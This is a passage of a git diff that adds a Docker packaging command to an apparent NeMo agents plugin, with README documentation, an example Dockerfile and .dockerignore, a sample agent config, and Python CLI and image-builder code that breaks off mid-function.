diff --git a/plugins/nemo-agents/README.md b/plugins/nemo-agents/README.md index 10f62e966a..f44aa1bc3c 100644 --- a/plugins/nemo-agents/README.md +++ b/plugins/nemo-agents/README.md @@ -10,6 +10,7 @@ Agents are NAT workflow YAML files. The plugin provides: - **Gateway** — reverse-proxy agent traffic through `/apis/agents/…/-/…` - **CLI** — `nemo agents` subcommand for platform-managed workflows - **Evaluation** — delegate to `nat eval` against live agent endpoints +- **Packaging** — containerize agents with a single `nemo agents package` command that progressively renders, builds, and publishes --- @@ -227,6 +228,272 @@ suggesting recovery options instead of an opaque subprocess error. --- +## Packaging command — containerize agents as Docker images + +The plugin ships a single `package` command that encapsulates the render → +validate → build → publish pipeline. Flags control how far the pipeline +runs, so one command covers the entire inner-loop → outer-loop transition. +The command works locally — no running platform is required. + +| Requirement | Notes | +|---|---| +| Docker | A running Docker daemon (Docker Desktop / Podman / etc.) | +| `jinja2` | `uv pip install 'nemo-agents-plugin[container]'` | +| `python-on-whales` | included in the `[container]` extra | + +### Progressive pipeline + +| Invocation | Stages run | Output | +|---|---|---| +| `package --no-build` | render | `Dockerfile` + `.dockerignore` | +| `package` *(default)* | render → validate → build | Local Docker image | +| `package --publish --registry ` | render → validate → build → publish | Local image + registry push | + +Validation always runs before a build unless `--skip-validation` is passed. +`--no-build` skips the build (and therefore validation) and only emits files. + +### `package` — render, build, and publish in one command + +Render-only (inspect or edit the Dockerfile before building): + +```bash +nemo agents package \ + --agent examples/react-agent.yml \ + --nat-version 1.5.0 \ + --no-build +``` + +Output: +``` +Dockerfile written to examples/Dockerfile +.dockerignore written to examples/.dockerignore +``` + +Build (default — render + validate + build): + +```bash +nemo agents package \ + --agent examples/react-agent.yml \ + --nat-version 1.5.0 \ + --tag my-agent:1.0 +``` + +Output: +``` +Building image 'my-agent:1.0' from context examples ... +Successfully built my-agent:1.0 +Image ready: my-agent:1.0 +``` + +Full pipeline — build and publish in one call: + +```bash +nemo agents package \ + --agent examples/react-agent.yml \ + --nat-version 1.5.0 \ + --tag my-agent:1.0 \ + --publish --registry nvcr.io/my-org +``` + +Output: +``` +Building image 'my-agent:1.0' from context examples ... +Successfully built my-agent:1.0 +Image ready: my-agent:1.0 +Tagging my-agent:1.0 -> nvcr.io/my-org/my-agent:1.0 +Pushing nvcr.io/my-org/my-agent:1.0 ... +Successfully pushed nvcr.io/my-org/my-agent:1.0 +Published: nvcr.io/my-org/my-agent:1.0 +``` + +**With an existing Dockerfile** (skip the render stage entirely): + +```bash +nemo agents package \ + --agent examples/react-agent.yml \ + --dockerfile examples/Dockerfile \ + --nat-version 1.5.0 \ + --tag my-agent:1.0 +``` + +**Project mode** — if the agent ships inside a Python project, pass `--pyproject`: + +```bash +nemo agents package \ + --agent configs/agent.yaml \ + --pyproject pyproject.toml \ + --nat-version 1.5.0 +``` + +### Flag reference + +**Pipeline control:** + +| Flag | Default | Description | +|---|---|---| +| `--no-build` | `False` | Stop after render; emit Dockerfile + `.dockerignore` only | +| `--publish` | `False` | After building, tag and push to `--registry` | +| `--registry`, `-r` | *(none)* | Remote registry URL (required when `--publish` is set) | +| `--push-tag` | `/` | Override the fully-qualified remote tag | + +**Source inputs:** + +| Flag | Default | Description | +|---|---|---| +| `--agent`, `-c` | *(required)* | Path to the NAT workflow YAML | +| `--pyproject` | *(none)* | Path to `pyproject.toml` (enables project mode) | +| `--format` | `docker` | Packaging format. Only `docker` (Jinja2 Dockerfile) is implemented; `whl` is reserved for future wheel-based builds and is rejected at flag-validation time. | +| `--dockerfile` | *(render on-the-fly)* | Use an existing Dockerfile instead of rendering | +| `--template` | built-in | Path to an external Jinja2 Dockerfile template | + +**Build options:** + +| Flag | Default | Description | +|---|---|---| +| `--tag`, `-t` | `-:` | Image tag | +| `--platform` | local daemon's native platform | Target platform (e.g. `linux/amd64`). At most one value -- multi-arch builds via buildx are not yet implemented and are rejected at flag-validation time with an actionable message pointing at `docker buildx imagetools create`. | +| `--nat-version` | `$NAT_VERSION` env var, then a baked-in fallback (currently `1.7.0`) | NAT package version to install. Strongly recommended to pass explicitly so image tags, labels, and the `nvidia-nat[most]==` constraint are reproducible. When neither the flag nor the env var is set, the fallback is used and the CLI prints a warning. | +| `--output`, `-o` | `/Dockerfile` | Where to write Dockerfile (with `--no-build`) | +| `--skip-validation` | `False` | Bypass `validate_agent_config` before build | + +**Hardening overrides:** + +| Flag | Default | Description | +|---|---|---| +| `--allow-root` | `False` | Disable non-root `USER` hardening | +| `--no-ignore` | *(generates by default)* | Skip `.dockerignore` generation | + +**OCI labels:** + +| Flag | Default | Description | +|---|---|---| +| `--agent-version` | from pyproject or `YY.MM.DD` | Override agent version label | +| `--agent-author` | from `git config user.name` | Override agent author label | + +### Full example — inspect, build, publish + +```bash +# 1. Render the Dockerfile so you can review it +nemo agents package \ + --agent examples/react-agent.yml \ + --nat-version 1.5.0 \ + --agent-version 1.0.0 \ + --no-build + +# 2. (Optional) Edit examples/Dockerfile, then build against the edited file +nemo agents package \ + --agent examples/react-agent.yml \ + --dockerfile examples/Dockerfile \ + --nat-version 1.5.0 \ + --tag my-react-agent:1.0.0 + +# 3. Build & publish in one step (when skipping the review step) +nemo agents package \ + --agent examples/react-agent.yml \ + --nat-version 1.5.0 \ + --tag my-react-agent:1.0.0 \ + --publish --registry nvcr.io/my-org +``` + +### Image tagging convention + +When `--tag` is not provided, the image tag is computed automatically as: + +``` +-: +``` + +Each component is resolved through a fallback chain: + +| Component | Resolution order | +|---|---| +| **agent-name** | `pyproject.toml` `[project].name` → config file stem (e.g. `react-agent` from `react-agent.yml`) | +| **agent-version** | `--agent-version` flag → `pyproject.toml` `[project].version` → today's date as `YY.MM.DD` | +| **agent-id** | Truncated (12-char) SHA-256 hash of the config YAML content (+ `pyproject.toml` content when present) | + +Examples: + +| Scenario | Tag | +|---|---| +| Standalone `react-agent.yml`, no flags | `react-agent-f7e8d9c0b1a2:26.04.10` | +| With pyproject (`name=calculator`, `version=2.3.0`) | `calculator-a1b2c3d4e5f6:2.3.0` | +| With `--agent-version 1.0.0` override | `react-agent-f7e8d9c0b1a2:1.0.0` | + +The agent ID is **content-addressable** — identical config (and pyproject) content +always produces the same ID. Changing any line in either file produces a +different ID, giving every build a traceable fingerprint. + +### OCI image labels + +Generated Dockerfiles include image labels that follow the +[OCI Image Spec annotations](https://github.com/opencontainers/image-spec/blob/main/annotations.md). +Standard OCI keys are used where a mapping exists; agent-specific metadata uses +the `com.nemo.agent.*` namespace. + +**Standard OCI labels:** + +| Label | Value | +|---|---| +| `org.opencontainers.image.title` | Agent name (same as tag name component) | +| `org.opencontainers.image.version` | Agent version (same as tag version component) | +| `org.opencontainers.image.authors` | `--agent-author` → `git config user.name` → `"unknown"` | +| `org.opencontainers.image.created` | Build timestamp (ISO 8601 / RFC 3339) | +| `org.opencontainers.image.description` | `pyproject.toml` `[project].description` → `"{workflow._type} agent"` → `""` | +| `org.opencontainers.image.revision` | `git rev-parse HEAD` → `""` | +| `org.opencontainers.image.source` | `git remote get-url origin` → `""` | +| `org.opencontainers.image.licenses` | `pyproject.toml` `[project].license` (SPDX expression) — omitted when absent | + +**Custom agent labels:** + +| Label | Value | +|---|---| +| `com.nemo.agent.id` | Content-addressable SHA-256 hash (12 chars) | +| `com.nemo.agent.framework` | `"nemo_agent_toolkit"` when config has a `workflow` key, else `"unknown"` | +| `com.nemo.agent.nat-version` | NAT version used at build time | +| `com.nemo.agent.contract-version` | Packaging format version (`"1.0"`) | + +### Agent config validation + +The `package` command validates the agent config before building (skip with +`--skip-validation`). Validation checks: + +- File is valid YAML that parses to a mapping (dict) +- Top-level `workflow` key exists and is a mapping +- `workflow._type` is present and non-empty (missing `_type` is an error; an + unrecognized value — e.g. a workflow registered by a NAT plugin the + validator does not know about — only emits a warning and the build + proceeds). Built-in types: `react_agent`, `tool_calling_agent`, + `reasoning_agent`, `rewoo_agent` +- Every name in `workflow.tool_names` is defined in `functions` or `function_groups` +- `workflow.llm_name` is defined in `llms` + +Multiple errors are collected and reported together rather than failing on the first. + +### Security defaults + +Generated Dockerfiles apply several hardening measures by default: + +| Default | Override | +|---|---| +| Non-root `USER agent` (uid 1000) | `--allow-root` | +| `apt-get --no-install-recommends` | *(none — always applied)* | +| `rm -rf /var/lib/apt/lists/*` after install | *(none — always applied)* | +| `.dockerignore` excludes `.env`, `.git/`, `*.pem`, `credentials.json`, `__pycache__/`, `.venv/`, `node_modules/` | `--no-ignore` | + +### Rendering modes + +The Dockerfile template has two modes, selected automatically: + +| Mode | Trigger | Install strategy | +|---|---|---| +| **Config-only** | No `--pyproject` | `uv pip install "nvidia-nat[most]==${NAT_VERSION}"` | +| **Project** | `--pyproject` provided | `uv pip install .` (installs the project and its declared deps) | + +In project mode the entire project directory is the build context and the config +path is resolved relative to the `pyproject.toml` parent directory. + +--- + ## Inspecting agent logs Each deployed agent runs as a local `nat start fastapi` subprocess. Its diff --git a/plugins/nemo-agents/examples/.dockerignore b/plugins/nemo-agents/examples/.dockerignore new file mode 100644 index 0000000000..de5a556e5b --- /dev/null +++ b/plugins/nemo-agents/examples/.dockerignore @@ -0,0 +1,18 @@ +# Managed by `nemo agents package` — safe to delete if you take ownership. +.env +.env.* +*.pem +*.key +credentials.json +.git/ +.gitignore +__pycache__/ +*.pyc +.pytest_cache/ +.mypy_cache/ +.ruff_cache/ +*.egg-info/ +dist/ +build/ +.venv/ +node_modules/ diff --git a/plugins/nemo-agents/examples/Dockerfile b/plugins/nemo-agents/examples/Dockerfile new file mode 100644 index 0000000000..9f432cc266 --- /dev/null +++ b/plugins/nemo-agents/examples/Dockerfile @@ -0,0 +1,61 @@ +# Managed by `nemo agents package` — safe to delete if you take ownership. +ARG BASE_IMAGE_URL=nvcr.io/nvidia/base/ubuntu +ARG BASE_IMAGE_TAG=noble-20260217 +ARG PYTHON_VERSION=3.13 +ARG NAT_VERSION=1.6.0 +FROM ${BASE_IMAGE_URL}:${BASE_IMAGE_TAG} +ARG PYTHON_VERSION +ARG NAT_VERSION + +COPY --from=ghcr.io/astral-sh/uv:0.8.15 /uv /uvx /bin/ + +ENV PYTHONDONTWRITEBYTECODE=1 + +# Keep the uv-managed Python in a world-readable location and use copy +# link-mode so the venv is self-contained (no cross-directory symlinks), +# letting the non-root runtime user exec it without needing /root access. +ENV UV_PYTHON_INSTALL_DIR=/opt/uv/python \ + UV_LINK_MODE=copy + +RUN apt-get update && \ + apt-get install -y --no-install-recommends g++ gcc ca-certificates curl && \ + update-ca-certificates && \ + rm -rf /var/lib/apt/lists/* + +ENV REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt +ENV SSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt + +WORKDIR /workspace + +COPY ./ /workspace + +RUN --mount=type=cache,id=uv_cache,target=/root/.cache/uv,sharing=locked \ + uv venv --python ${PYTHON_VERSION} /workspace/.venv && \ + . /workspace/.venv/bin/activate && \ + test -n "${NAT_VERSION}" || { echo "NAT_VERSION build-arg is required" >&2; exit 1; } && \ + uv pip install --prerelease=allow "nvidia-nat[most]==${NAT_VERSION}" && \ + chmod -R a+rX /opt/uv /workspace/.venv + +LABEL org.opencontainers.image.title="hello_world" \ + org.opencontainers.image.version="26.06.01" \ + org.opencontainers.image.authors="NeMo Agents Team" \ + org.opencontainers.image.created="2026-06-01T10:11:07-07:00" \ + org.opencontainers.image.description="react_agent agent" \ + org.opencontainers.image.revision="40924998df45aef404781ca39c9bdd9000016bb7" \ + org.opencontainers.image.source="git@github.com:NVIDIA-NeMo/nemo-platform.git" \ + com.nemo.agent.id="9ee8d3b15822" \ + com.nemo.agent.framework="nemo_agent_toolkit" \ + com.nemo.agent.nat-version="1.6.0" \ + com.nemo.agent.contract-version="0.1.0" + +ENV NAT_CONFIG_FILE=/workspace/hello_world.yaml + +ENV PATH="/workspace/.venv/bin:$PATH" + +RUN if getent passwd 1000 >/dev/null; then userdel -rf "$(getent passwd 1000 | cut -d: -f1)" 2>/dev/null || true; fi && \ + if getent group 1000 >/dev/null; then groupdel -f "$(getent group 1000 | cut -d: -f1)" 2>/dev/null || true; fi && \ + groupadd -g 1000 agent && useradd -u 1000 -g agent -m agent && \ + chown -R agent:agent /workspace +USER agent + +ENTRYPOINT ["sh", "-c", "exec nat serve --config_file=$NAT_CONFIG_FILE --host 0.0.0.0"] diff --git a/plugins/nemo-agents/examples/hello_world.yaml b/plugins/nemo-agents/examples/hello_world.yaml new file mode 100644 index 0000000000..8c63ac0720 --- /dev/null +++ b/plugins/nemo-agents/examples/hello_world.yaml @@ -0,0 +1,26 @@ +functions: + # Add a tool to search wikipedia + wikipedia_search: + _type: wiki_search + max_results: 2 + +llms: + # Tell NeMo Agent Toolkit which LLM to use for the agent + nim_llm: + _type: nim + model_name: nvidia/nemotron-3-nano-30b-a3b + temperature: 0.0 + chat_template_kwargs: + enable_thinking: false + +workflow: + # Use an agent that 'reasons' and 'acts' + _type: react_agent + # Give it access to our wikipedia search tool + tool_names: [wikipedia_search] + # Tell it which LLM to use + llm_name: nim_llm + # Make it verbose + verbose: true + # Retry up to 3 times + parse_agent_response_max_retries: 3 diff --git a/plugins/nemo-agents/pyproject.toml b/plugins/nemo-agents/pyproject.toml index 87b1a0cc80..6f1035c205 100644 --- a/plugins/nemo-agents/pyproject.toml +++ b/plugins/nemo-agents/pyproject.toml @@ -50,11 +50,16 @@ agents = "nemo_agents_plugin.skills:skills_dir" nemo_agents_files_telemetry = "nemo_agents_plugin.telemetry.files_service_exporter" [project.optional-dependencies] +container = [ + "jinja2>=3.1", + "python-on-whales>=0.60", +] test = [ "pytest>=8.0", "pytest-asyncio>=0.23", "httpx>=0.27", "fastapi>=0.115", + "jinja2>=3.1", ] [build-system] diff --git a/plugins/nemo-agents/src/nemo_agents_plugin/cli.py b/plugins/nemo-agents/src/nemo_agents_plugin/cli.py index fce8a9df88..b7efaf9a4c 100644 --- a/plugins/nemo-agents/src/nemo_agents_plugin/cli.py +++ b/plugins/nemo-agents/src/nemo_agents_plugin/cli.py @@ -77,6 +77,7 @@ def agents_callback(ctx: typer.Context) -> None: raise typer.Exit(0) _register_local_commands(app) + _register_package_command(app) _register_platform_commands(app) register_leaderboard_commands(app) register_usage_commands(app) @@ -197,6 +198,397 @@ def run( # into this group at startup (see ``nemo_platform_ext.cli.app``). +# --------------------------------------------------------------------------- +# Packaging command — no platform required +# --------------------------------------------------------------------------- + +_PACKAGE_PANEL = "Packaging (no platform required)" + + +def _register_package_command(app: typer.Typer) -> None: + """Register the unified ``package`` command onto *app*. + + Single command whose flags select how far the render → validate → build + → publish pipeline runs: + + * ``--no-build`` stop after render (Dockerfile + .dockerignore only) + * default render → validate → build + * ``--publish --registry ...`` render → validate → build → publish + """ + + @app.command(rich_help_panel=_PACKAGE_PANEL) + def package( + agent: Path = typer.Option( + ..., + "--agent", + "-c", + help="Path to a NAT workflow YAML config file.", + exists=True, + file_okay=True, + dir_okay=False, + ), + pyproject: Optional[Path] = typer.Option( + None, + "--pyproject", + help="Path to pyproject.toml (enables project mode).", + exists=True, + file_okay=True, + dir_okay=False, + ), + no_build: bool = typer.Option( + False, + "--no-build", + help="Stop after render — emit Dockerfile + .dockerignore only (no image built).", + ), + publish: bool = typer.Option( + False, + "--publish", + help="After building, tag and push to --registry.", + ), + format: str = typer.Option( + "docker", + "--format", + help="Packaging format: 'docker' (Jinja2 Dockerfile). 'whl' is reserved for future wheel-based builds and is currently rejected.", + ), + dockerfile: Optional[Path] = typer.Option( + None, + "--dockerfile", + help="Use an existing Dockerfile instead of rendering (skips render stage).", + exists=True, + file_okay=True, + dir_okay=False, + ), + tag: Optional[str] = typer.Option( + None, + "--tag", + "-t", + help="Image tag. Defaults to '-:'.", + ), + platform: Optional[list[str]] = typer.Option( + None, + "--platform", + help=( + "Target platform (e.g. 'linux/amd64' or 'linux/arm64'). " + "When omitted, defaults to the local daemon's native " + "platform. Multi-arch builds via buildx are not yet " + "implemented; pass at most one value." + ), + ), + registry: Optional[str] = typer.Option( + None, + "--registry", + "-r", + help="Remote registry URL (required when --publish is set).", + ), + push_tag: Optional[str] = typer.Option( + None, + "--push-tag", + help="Fully-qualified remote tag. Defaults to '/'.", + ), + output: Optional[Path] = typer.Option( + None, + "--output", + "-o", + help="Output path for rendered Dockerfile (only used with --no-build). " + "Defaults to 'Dockerfile' next to --pyproject when given (project root, " + "so COPY statements resolve), otherwise next to the agent config.", + ), + base_image_url: Optional[str] = typer.Option(None, "--base-image-url", envvar="NAT_BASE_IMAGE_URL"), + base_image_tag: Optional[str] = typer.Option(None, "--base-image-tag", envvar="NAT_BASE_IMAGE_TAG"), + python_version: Optional[str] = typer.Option(None, "--python-version", envvar="NAT_PYTHON_VERSION"), + nat_version: Optional[str] = typer.Option( + None, + "--nat-version", + envvar="NAT_VERSION", + help=( + "NAT release to install (e.g. '1.7.0'). Strongly recommended: " + "pin explicitly so image tags/labels/deps are reproducible. " + "When omitted, a baked-in default is used and a warning is printed." + ), + ), + uv_version: Optional[str] = typer.Option(None, "--uv-version", envvar="NAT_UV_VERSION"), + allow_root: bool = typer.Option( + False, "--allow-root", help="Disable non-root USER hardening in the rendered Dockerfile." + ), + generate_ignore: bool = typer.Option( + True, "--ignore/--no-ignore", help="Generate a .dockerignore file alongside the Dockerfile." + ), + skip_validation: bool = typer.Option( + False, "--skip-validation", help="Bypass validate_agent_config before build." + ), + agent_version: Optional[str] = typer.Option(None, "--agent-version", help="Override agent version OCI label."), + agent_author: Optional[str] = typer.Option(None, "--agent-author", help="Override agent author OCI label."), + template: Optional[str] = typer.Option( + None, "--template", help="Path to an external Jinja2 Dockerfile template." + ), + ) -> None: + """Package a NAT agent -- render -> validate -> build -> publish. + + \b + Progressive pipeline controlled by flags: + --no-build emit Dockerfile + .dockerignore (no image) + (default) render + validate + build + --publish --registry ... render + validate + build + push + + \b + Platform behavior: + - no --platform image built for the local daemon's native platform + - one --platform image built for that platform (cross-arch via buildx) + - multi --platform rejected -- multi-arch builds via buildx are not + yet wired up; build per-arch and combine with + ``docker buildx imagetools create`` until then. + """ + _validate_package_flags( + no_build=no_build, + publish=publish, + registry=registry, + format=format, + template=template, + platform=platform, + ) + _warn_if_nat_version_unpinned(nat_version) + + if no_build: + _package_render_only( + agent_config=agent, + pyproject=pyproject, + output=output, + format=format, + template=template, + allow_root=allow_root, + agent_version=agent_version, + agent_author=agent_author, + generate_ignore=generate_ignore, + base_image_url=base_image_url, + base_image_tag=base_image_tag, + python_version=python_version, + nat_version=nat_version, + uv_version=uv_version, + ) + return + + from nemo_agents_plugin.container.builder import build_agent_image + + try: + result_tag = build_agent_image( + agent, + pyproject=pyproject, + dockerfile=dockerfile, + tag=tag, + nat_version=nat_version, + base_image_url=base_image_url, + base_image_tag=base_image_tag, + python_version=python_version, + uv_version=uv_version, + allow_root=allow_root, + agent_version=agent_version, + agent_author=agent_author, + template_path=template, + skip_validation=skip_validation, + generate_ignore=generate_ignore, + platforms=platform, + ) + except ValueError as exc: + typer.echo(f"Error: {exc}", err=True) + raise typer.Exit(code=1) + + typer.echo(f"Image ready: {result_tag}") + + if not publish: + return + + from nemo_agents_plugin.container.publisher import docker_push + + assert registry is not None # guaranteed by _validate_package_flags + remote = docker_push(local_tag=result_tag, registry=registry, push_tag=push_tag) + typer.echo(f"Published: {remote}") + + +def _validate_package_flags( + *, + no_build: bool, + publish: bool, + registry: Optional[str], + format: str, + template: Optional[str], + platform: Optional[list[str]] = None, +) -> None: + """Fail fast on flag combinations that cannot be satisfied.""" + if no_build and publish: + typer.echo( + "Error: --no-build and --publish are mutually exclusive. " + "--no-build emits a Dockerfile without building, so there is nothing to publish.", + err=True, + ) + raise typer.Exit(code=1) + + if publish and not registry: + typer.echo( + "Error: --publish requires --registry (e.g. --registry nvcr.io/my-org).", + err=True, + ) + raise typer.Exit(code=1) + + if format not in {"docker", "whl"}: + typer.echo(f"Error: --format must be 'docker' or 'whl' (got '{format}').", err=True) + raise typer.Exit(code=1) + + # ``whl`` was scaffolded in the original CLI surface but never wired + # into the build path — reject up front so we don't silently ignore + # the flag in a build invocation. ``--agent-whl`` was removed entirely; + # when wheel packaging actually lands, re-add the flag together with + # the validator branch that checks for it. + if format == "whl": + typer.echo( + "Error: --format whl is not yet implemented. " + "Use --format docker (the default) until wheel packaging lands.", + err=True, + ) + raise typer.Exit(code=1) + + if template is not None and not Path(template).is_file(): + typer.echo(f"Error: --template file not found: {template}", err=True) + raise typer.Exit(code=1) + + # Multi-arch builds require a buildx-backed pipeline that this PR does + # not implement. Rejecting the flag prevents the earlier behavior of + # printing a fake "Multi-arch manifest pushed via buildx" success while + # actually building (and pushing) only a single-arch image. + if platform and len(platform) > 1: + typer.echo( + "Error: multi-arch --platform is not yet implemented. " + "Pass at most one --platform; for multi-arch images, build each " + "platform separately and combine with `docker buildx imagetools create`.", + err=True, + ) + raise typer.Exit(code=1) + + +def _warn_if_nat_version_unpinned(nat_version: Optional[str]) -> None: + """Emit a soft warning when ``--nat-version`` falls through to the default. + + Reproducibility hinges on callers pinning ``nvidia-nat`` explicitly (via + ``--nat-version`` or the ``NAT_VERSION`` env var) — otherwise the OCI + labels, image tags, and installed plugin set are implicitly tied to + whatever default happens to be baked into the plugin. The warning goes + to stderr so it does not corrupt piped Dockerfile output in ``--no-build`` + renders. + """ + from nemo_agents_plugin.container.template import resolve_value_with_source + + resolved, source = resolve_value_with_source("nat_version", nat_version) + if source == "default": + typer.echo( + f"warning: --nat-version not provided; defaulting to '{resolved}'. " + "Pass --nat-version or set NAT_VERSION to pin explicitly.", + err=True, + ) + + +def _package_render_only( + *, + agent_config: Path, + pyproject: Optional[Path], + output: Optional[Path], + format: str, + template: Optional[str], + allow_root: bool, + agent_version: Optional[str], + agent_author: Optional[str], + generate_ignore: bool, + base_image_url: Optional[str], + base_image_tag: Optional[str], + python_version: Optional[str], + nat_version: Optional[str], + uv_version: Optional[str], +) -> None: + """Implements the ``--no-build`` path: render files and exit.""" + # ``--format whl`` is rejected globally by ``_validate_package_flags`` + # before we get here; assert for the developer who deletes that guard. + assert format == "docker", f"unreachable: format={format!r}" + + from nemo_agents_plugin.container.template import render_dockerfile, render_dockerignore + + try: + content = render_dockerfile( + agent_config, + pyproject, + base_image_url=base_image_url, + base_image_tag=base_image_tag, + python_version=python_version, + nat_version=nat_version, + uv_version=uv_version, + allow_root=allow_root, + agent_version=agent_version, + agent_author=agent_author, + template_path=template, + ) + except ValueError as exc: + typer.echo(f"Error: {exc}", err=True) + raise typer.Exit(code=1) + + user_chose_output = output is not None + if output is None: + # In --pyproject (project) mode the Dockerfile MUST live at the project + # root so ``COPY pyproject.toml .``, ``COPY uv.lock* .`` and ``COPY . .`` + # resolve against the correct build context. In config-only mode there + # is no project root, so fall back to the config's directory. + if pyproject is not None: + output = pyproject.parent / "Dockerfile" + else: + output = agent_config.parent / "Dockerfile" + + # Refuse to clobber a pre-existing Dockerfile when we picked the path + # ourselves — silently overwriting a hand-tuned Dockerfile is the kind + # of data loss CI runs are too coarse to catch. A file we wrote on a + # previous run (identified by the plugin's sentinel header) is safe to + # regenerate. When the user passes ``--output`` explicitly we treat + # that as informed consent and overwrite unconditionally. + from nemo_agents_plugin.container.template import is_plugin_managed + + if not user_chose_output and output.exists() and not is_plugin_managed(output): + typer.echo( + f"Error: refusing to overwrite existing file {output}. " + "Pass --output to choose a different path (or to overwrite " + "explicitly).", + err=True, + ) + raise typer.Exit(code=1) + + # Filesystem writes can fail for reasons completely unrelated to the + # render logic (read-only mount, missing parent dir, disk full, + # ENOSPC, EACCES). Convert those into the same ``Error: ...`` + + # ``typer.Exit(1)`` shape as the ``ValueError`` branch above so the + # operator sees a clean CLI error instead of a Python traceback, and + # so success-path stdout is never partially printed before a crash. + try: + output.write_text(content, encoding="utf-8") + except OSError as exc: + typer.echo(f"Error: failed to write Dockerfile to {output}: {exc}", err=True) + raise typer.Exit(code=1) + typer.echo(f"Dockerfile written to {output}") + + if generate_ignore: + # ``render_dockerignore`` returns ``None`` when a user-owned + # ``.dockerignore`` is preserved (first-line sentinel check). Be + # explicit about which outcome happened so the user knows whether + # their file was touched. + try: + ignore_path = render_dockerignore(output.parent) + except OSError as exc: + typer.echo( + f"Error: failed to write .dockerignore to {output.parent / '.dockerignore'}: {exc}", + err=True, + ) + raise typer.Exit(code=1) + if ignore_path is None: + typer.echo( + f"Preserved existing .dockerignore at {output.parent / '.dockerignore'} (not generated by this plugin)." + ) + else: + typer.echo(f".dockerignore written to {ignore_path}") + + # --------------------------------------------------------------------------- # Agent Resources commands — require a running cluster # --------------------------------------------------------------------------- diff --git a/plugins/nemo-agents/src/nemo_agents_plugin/container/builder.py b/plugins/nemo-agents/src/nemo_agents_plugin/container/builder.py new file mode 100644 index 0000000000..8ee7c2f005 --- /dev/null +++ b/plugins/nemo-agents/src/nemo_agents_plugin/container/builder.py @@ -0,0 +1,328 @@ +# SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Docker image builder for NAT agents. + +Builds a Docker image either from a pre-existing Dockerfile or by rendering +one on-the-fly via :func:`~nemo_agents_plugin.container.template.render_dockerfile`. + +Uses `python-on-whales `_ +for Docker operations so callers never need to shell out manually. +""" + +from __future__ import annotations + +import logging +import os +import re +from pathlib import Path + +import typer + +logger = logging.getLogger(__name__) + + +def docker_build( + *, + context_dir: Path, + dockerfile: Path | None = None, + tag: str, + build_args: dict[str, str] | None = None, + platforms: list[str] | None = None, + push: bool = False, +) -> str: + """Build a Docker image and return the tag. + + Args: + context_dir: Docker build context directory. + dockerfile: Path to an existing Dockerfile. When ``None`` the + caller is expected to have already written a rendered Dockerfile + into *context_dir*. + tag: Image tag (e.g. ``"my-agent:1.0"``). + build_args: Extra ``--build-arg`` key/value pairs forwarded to + ``docker build``. + platforms: ``--platform`` values forwarded to ``docker build``. Up + to one entry — multi-arch builds via buildx are not yet + implemented and are rejected at the CLI layer. + push: Push the image as part of the build (single round-trip). + + Returns: + The image tag that was built. + + Raises: + typer.Exit: On build failure. + """ + try: + from python_on_whales import docker # type: ignore[unresolved-import] + except ImportError: + typer.echo( + "Error: 'python-on-whales' is required for building images. " + "Install it with: pip install 'nemo-agents-plugin[container]'", + err=True, + ) + raise typer.Exit(code=1) + + # The plugin's Dockerfile uses BuildKit cache mounts (``RUN --mount=...``) + # which silently fail on older daemons without ``DOCKER_BUILDKIT=1``. + # ``setdefault`` so a user who explicitly sets ``DOCKER_BUILDKIT=0`` + # (e.g. to debug a layer) is not surprised by the override. + os.environ.setdefault("DOCKER_BUILDKIT", "1") + + file_arg = str(dockerfile) if dockerfile else None + typer.echo(f"Building image '{tag}' from context {context_dir} ...") + try: + docker.build( + str(context_dir), + file=file_arg, + tags=[tag], + build_args=build_args or {}, + platforms=platforms or None, + push=push, + ) + except Exception as exc: + typer.echo(f"Docker build failed: {exc}", err=True) + raise typer.Exit(code=1) + + typer.echo(f"Successfully built {tag}") + return tag + + +def build_agent_image( + agent_config: Path, + pyproject: Path | None = None, + dockerfile: Path | None = None, + tag: str | None = None, + *, + nat_version: str | None = None, + base_image_url: str | None = None, + base_image_tag: str | None = None, + python_version: str | None = None, + uv_version: str | None = None, + allow_root: bool = False, + agent_version: str | None = None, + agent_author: str | None = None, + template_path: str | None = None, + skip_validation: bool = False, + generate_ignore: bool = True, + platforms: list[str] | None = None, + push: bool = False, +) -> str: + """High-level helper: validate, render (if needed), then build. + + When *dockerfile* is ``None``, a Dockerfile is rendered via the template + module and written into a temporary file inside the build context. + + Returns: + The Docker image tag. + """ + from nemo_agents_plugin.container.metadata import extract_agent_metadata + from nemo_agents_plugin.container.template import render_dockerfile, render_dockerignore, resolve_value + from nemo_agents_plugin.container.validator import validate_agent_config + + if not skip_validation: + result = validate_agent_config(agent_config) + # Soft warnings (e.g. unknown workflow._type) are surfaced regardless + # of overall validity so the operator can see them even when the + # config is otherwise fine. Hard errors still abort the build. + for warn in result.warnings: + typer.echo(f"warning: {warn}", err=True) + if not result.valid: + typer.echo("Agent config validation failed:", err=True) + for err in result.errors: + typer.echo(f" - {err}", err=True) + raise typer.Exit(code=1) + + if pyproject is not None and pyproject.exists(): + context_dir = pyproject.resolve().parent + else: + context_dir = agent_config.resolve().parent + + resolved_nat = resolve_value("nat_version", nat_version) + resolved_python = resolve_value("python_version", python_version) + resolved_base_url = resolve_value("base_image_url", base_image_url) + resolved_base_tag = resolve_value("base_image_tag", base_image_tag) + # Feed the resolved build environment into the agent_id hash so a rebuild + # with a different toolchain (different NAT release, base image, or + # Python) yields a distinct id, instead of silently re-tagging an + # ABI-incompatible image with the same suffix. + build_env_for_id = { + "nat_version": resolved_nat, + "python_version": resolved_python, + "base_image_url": resolved_base_url, + "base_image_tag": resolved_base_tag, + } + # Extract metadata once and thread it through both the tag computation + # and the Dockerfile render — avoids three duplicate ``git`` subprocess + # calls and two redundant yaml/toml parses per build. + meta = extract_agent_metadata( + agent_config, + pyproject, + agent_version=agent_version, + agent_author=agent_author, + build_env=build_env_for_id, + ) + + if tag is None: + tag = _default_tag_from_meta(meta) + + build_args: dict[str, str] = {"NAT_VERSION": resolved_nat} + if python_version: + build_args["PYTHON_VERSION"] = python_version + if base_image_url: + build_args["BASE_IMAGE_URL"] = base_image_url + if base_image_tag: + build_args["BASE_IMAGE_TAG"] = base_image_tag + + if dockerfile is not None: + return docker_build( + context_dir=context_dir, + dockerfile=dockerfile, + tag=tag, + build_args=build_args, + platforms=platforms, + push=push, + ) + + content = render_dockerfile( + agent_config, + pyproject, + base_image_url=base_image_url, + base_image_tag=base_image_tag, + python_version=python_version, + nat_version=nat_version, + 